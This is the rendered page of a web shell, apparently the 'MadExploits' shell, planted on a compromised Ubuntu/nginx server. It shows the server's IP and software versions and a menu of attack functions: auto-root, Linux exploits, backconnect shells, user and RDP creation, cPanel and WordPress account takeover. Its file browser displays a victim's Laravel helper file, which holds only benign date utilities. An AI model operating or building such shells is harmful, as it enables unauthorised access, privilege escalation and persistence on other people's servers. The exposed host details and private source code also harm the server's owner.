Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api-8 /
app /
Helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
Helpers.php
13.43
KB
-rw-r--r--
NotificationHelper.php
4.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Helpers.php
<?php use App\Models\Notification\Notification; use App\Models\Settings\Setting; use Carbon\Carbon as Carbon; use Carbon\CarbonPeriod; use Carbon\CarbonInterval as CarbonInterval; if (!function_exists('currentDate')) { //GET::CUURENT DATE function currentDate() { $now = Carbon::now(); return $now; } } if (!function_exists('yesterday')) { //GET::YESTERDAY DATE function yesterday() { $yesterday = Carbon::yesterday(); return $yesterday; } } if (!function_exists('tomorrow')) { //GET::TOMORROW DATE function tomorrow() { $tomorrow = Carbon::tomorrow(); return $tomorrow; } } if (!function_exists('startOfWeek')) { //GET::DATE OF WEEK START function startOfWeek() { $startOfWeek = currentDate()->startOfWeek(); return $startOfWeek; } } if (!function_exists('endOfWeek')) { //GET::DATE OF WEEK END function endOfWeek() { $endOfWeek = currentDate()->endOfWeek(); return $endOfWeek; } } if (!function_exists('startOfLastWeek')) { //GET::DATE OF LAST WEEK START function startOfLastWeek() { $startOfLastWeek =startOfWeek()->subWeek(); return $startOfLastWeek; } } if (!function_exists('endOfLastWeek')) { //GET::DATE OF LAST WEEK END function endOfLastWeek() { $endOfLastWeek = startOfLastWeek()->addDays(7); return $endOfLastWeek; } } if (!function_exists('startOfNextWeek')) { //GET::DATE OF NEXT WEEK START function startOfNextWeek() { $startOfNextWeek = startOfWeek()->addWeeks(1); return $startOfNextWeek; } } if (!function_exists('endOfNextWeek')) { //GET::DATE OF NEXT WEEK END function endOfNextWeek() { $endOfNextWeek = startOfNextWeek()->addDays(7); return $endOfNextWeek; } } if (!function_exists('diffInDate')) { //GET::DATE DIFFERENCE function diffInDate($to,$from) { $date_to = Carbon::createFromFormat('Y-m-d H:s:i', $to); $date_from = Carbon::createFromFormat('Y-m-d H:s:i', $from); $diff_in_days = $date_to->diffInDays($date_from); return $diff_in_days; } } if (!function_exists('getNepaliDate')) { //GET::ENGLISH TO NEPALI DATE CONVERTER function getNepaliDate($date,$seperator = '-') { try { $date=dateFormat($date,'Y/m/d'); $query = \DB::table('date_conversion')->where('ad_date', $date) ->select('bs_date') ->first(); $result = str_replace('/',$seperator,$query->bs_date); return $result; } catch (Exception $e) { return array(); } } } if (!function_exists('getEnglishDate')) { //GET::NEPALI TO ENGLISH DATE CONVERTER function getEnglishDate($date,$seperator = '-') { try { $date=dateFormat($date,'Y/m/d'); $query = \DB::table('date_conversion')->where('bs_date', $date) ->select('ad_date') ->first(); $result = str_replace('/',$seperator,$query->ad_date); return $result; } catch (Exception $e) { return array(); } } } if (!function_exists('dateFormat')) { function dateFormat($date,$format) { return Carbon::parse($date)->format($format); } } if (!function_exists('checkContinious')) { //GET::DATE OF LAST WEEK END function checkContinious($start_date,$next_start_day) { $startDate=dateFormat(Carbon::parse($start_date)->addDays(1),'Y-m-d'); $endDate=dateFormat($next_start_day,'Y-m-d'); if($startDate === $endDate) return $startDate; else return NULl; } } if (!function_exists('keyExists')) { //CHECK OBJECT KEY EXISTS OR NOT function keyExists($array,$objectName) { return (isset($array[$objectName]) || array_key_exists($objectName, $array)); } } if (!function_exists('nested_array_search')) { //SEACRH NESTED ARRAY function nested_array_search($array, $key, $value) { $results = array(); if (is_array($array)) { if (isset($array[$key]) && $array[$key] == $value) $results[] = $array; foreach ($array as $subarray) $results = array_merge($results, nested_array_search($subarray, $key, $value)); } return $results; } } if (!function_exists('getMonthListFromDate')) { //GET ALL MONTH BETWEEN DATES function getMonthListFromDate($start,$end) { $startDate = new Carbon($start); $endDate = new Carbon($end); if(empty($end)) { $end = currentDate(); $endDate = currentDate(); } $i = 0; $monthArray=CarbonPeriod::create($startDate->startOfMonth(), '1 month', $end); if($startDate->startOfMonth() == $endDate->startOfMonth()){ $months=[dateFormat($start,'Y-m-d')=>dateFormat($end,'Y-m-d')]; }else{ foreach ($monthArray as $month) { if ($i === 0){ $months[dateFormat($start,'Y-m-d')] = $month->endOfMonth()->format('Y-m-d'); }else if( $i == count( $monthArray ) - 1){ if($endDate->startOfMonth()->format('Y-m-d') !== dateFormat($end,'Y-m-d')) $months[$month->startOfMonth()->format('Y-m-d')] = dateFormat($end,'Y-m-d'); }else $months[$month->format('Y-m-d')] = $month->endOfMonth()->format('Y-m-d'); $i = $i + 1; } } return $months; } } if (!function_exists('getDatesFromRange')) { function getDatesFromRange($date_time_from, $date_time_to) { $start = Carbon::createFromFormat('Y-m-d', substr($date_time_from, 0, 10)); $end = Carbon::createFromFormat('Y-m-d', substr($date_time_to, 0, 10)); $dates = []; while ($start->lte($end)) { $dates[] = $start->copy()->format('Y-m-d'); $start->addDay(); } return $dates; } } if (!function_exists('getDatesFromRangeWithTime')) { function getDatesFromRangeWithTime($date_time_from, $date_time_to) { $start = Carbon::createFromFormat('Y-m-d H:i:s', $date_time_from); $end = Carbon::createFromFormat('Y-m-d H:i:s', $date_time_to); $i = 0; $dates = []; if(dateFormat($date_time_from,'Y-m-d') === dateFormat($date_time_to,'Y-m-d')){ $merge=[$date_time_from => $date_time_to] ; }else{ while ($start->lte($end)) { if($i === 0 && dateFormat($date_time_from,'H:i:s') ==='13:00:00') $dates[$start->copy()->format('Y-m-d H:i:s')] = $start->copy()->format('Y-m-d 18:00:00'); else $dates[$start->copy()->format('Y-m-d 09:00:00')] = $start->copy()->format('Y-m-d 18:00:00'); $start->addDay(); $i++; } // array_shift($dates); array_pop($dates); $merge=array_merge($dates,[dateFormat($date_time_to,'Y-m-d 09:00:00') => $date_time_to]); } return $merge; } } if (!function_exists('getAllSpecificDayOfMonth')) { function getAllSpecificDayOfMonth($y, $m,$day) { return new \DatePeriod( Carbon::parse("first $day of $y-$m"), CarbonInterval::week(), Carbon::parse("next month $y-$m-01") ); } } if (!function_exists('findDateOfDayInMonth')) { function findDateOfDayInMonth($y, $m,$day,$format='Y-m-d') { $dayDate = getAllSpecificDayOfMonth($y,$m,$day); $dateArray=[]; foreach ($dayDate as $date) { $dateArray[]=[ "type"=>"Weekend", "date"=>$date->format($format) ]; } return $dateArray; } } if (!function_exists('daysInMonth')) { function daysInMonth($year, $month) { return Carbon::createFromDate($year,$month)->daysInMonth; } } if (!function_exists('startDateOfMonth')) { function startDateOfMonth($year, $month) { return Carbon::parse("first day of $year-$month"); } } if (!function_exists('endDateOfMonth')) { function endDateOfMonth($year, $month) { return Carbon::parse("last day of $year-$month"); } } if (!function_exists('dateDiffInterval')) { function dateDiffInterval($sDate1, $sDate2, $sUnit='H') { //subtract $sDate2-$sDate1 and return the difference in $sUnit (Days,Hours,Minutes,Seconds) $nInterval = strtotime($sDate2) - strtotime($sDate1); if ($sUnit=='D') { // days $nInterval = $nInterval/60/60/24; } else if ($sUnit=='H') { // hours $nInterval = $nInterval/60/60; } else if ($sUnit=='M') { // minutes $nInterval = $nInterval/60; } else if ($sUnit=='S') { // seconds } return $nInterval; } } if (!function_exists('getMonthName')) { //MONTH function getMonthName($monthId) { switch ($monthId) { case 1: return "January"; break; case 2: return "February"; break; case 3: return "March"; break; case 4: return "April"; break; case 5: return "May"; break; case 6: return "June"; break; case 7: return "July"; break; case 8: return "August"; break; case 9: return "September"; break; case 10: return "October"; break; case 11: return "November"; break; case 12: return "December"; break; default: return "Invalid"; } } } if (!function_exists('getDay')) { //DAY function getDay($day) { switch ($day) { case 1: return "Sunday"; break; case 2: return "Monday"; break; case 3: return "Tuesday"; break; case 4: return "Wednesday"; break; case 5: return "Thursday"; break; case 6: return "Friday"; break; case 7: return "Saturday"; break; default: return "Invalid"; } } } if (!function_exists('check_in_range')) { //TO CHECK IF DATE EXSIT BETWEEN RANGES function check_in_range($start_date, $end_date, $check_date) { // Convert to timestamp $start_ts = strtotime($start_date); $end_ts = strtotime($end_date); $user_ts = strtotime($check_date); // Check that user date is between start & end return (($user_ts >= $start_ts) && ($user_ts <= $end_ts)); } } if (!function_exists('mergePerKey')) { //MERGE WITH VALUE function mergePerKey($arr1) { $outer_array = array(); $unique_array = array(); foreach($arr1 as $key => $value) { $inner_array = array(); $fid_value = $value['date']; if(!in_array($value['date'], $unique_array)) { array_push($unique_array, $fid_value); // unset($value['date']); array_push($inner_array, $value); $outer_array[$fid_value] = $inner_array; }else{ // unset($value['date']); array_push($outer_array[$fid_value], $value); } } ksort($outer_array); return $outer_array; } } if (!function_exists('sortArray')) { function sortArray($array,$field){ array_multisort(array_map('strtotime',array_column($array,$field)),SORT_ASC,$array); return $array; } } if (!function_exists('is_base64')) { function is_base64($s) { // Check if there are valid base64 characters if (!preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $s)) return false; // Decode the string in strict mode and check the results $decoded = base64_decode($s, true); if(false === $decoded) return false; // if string returned contains not printable chars if (0 < preg_match('/((?![[:graph:]])(?!\s)(?!\p{L}))./', $decoded, $matched)) return false; // Encode the string again if(base64_encode($decoded) != $s) return false; return true; } } if (!function_exists('build_url')) { function build_url(array $elements) { $e = $elements; return (isset($e['host']) ? ( (isset($e['scheme']) ? "$e[scheme]://" : '//') . (isset($e['user']) ? $e['user'] . (isset($e['pass']) ? ":$e[pass]" : '') . '@' : '') . $e['host'] . (isset($e['port']) ? ":$e[port]" : '') ) : '') . (isset($e['path']) ? $e['path'] : '/') . (isset($e['query']) ? '?' . (is_array($e['query']) ? http_build_query($e['query'], '', '&') : $e['query']) : '') . (isset($e['fragment']) ? "#$e[fragment]" : '') ; } }
Close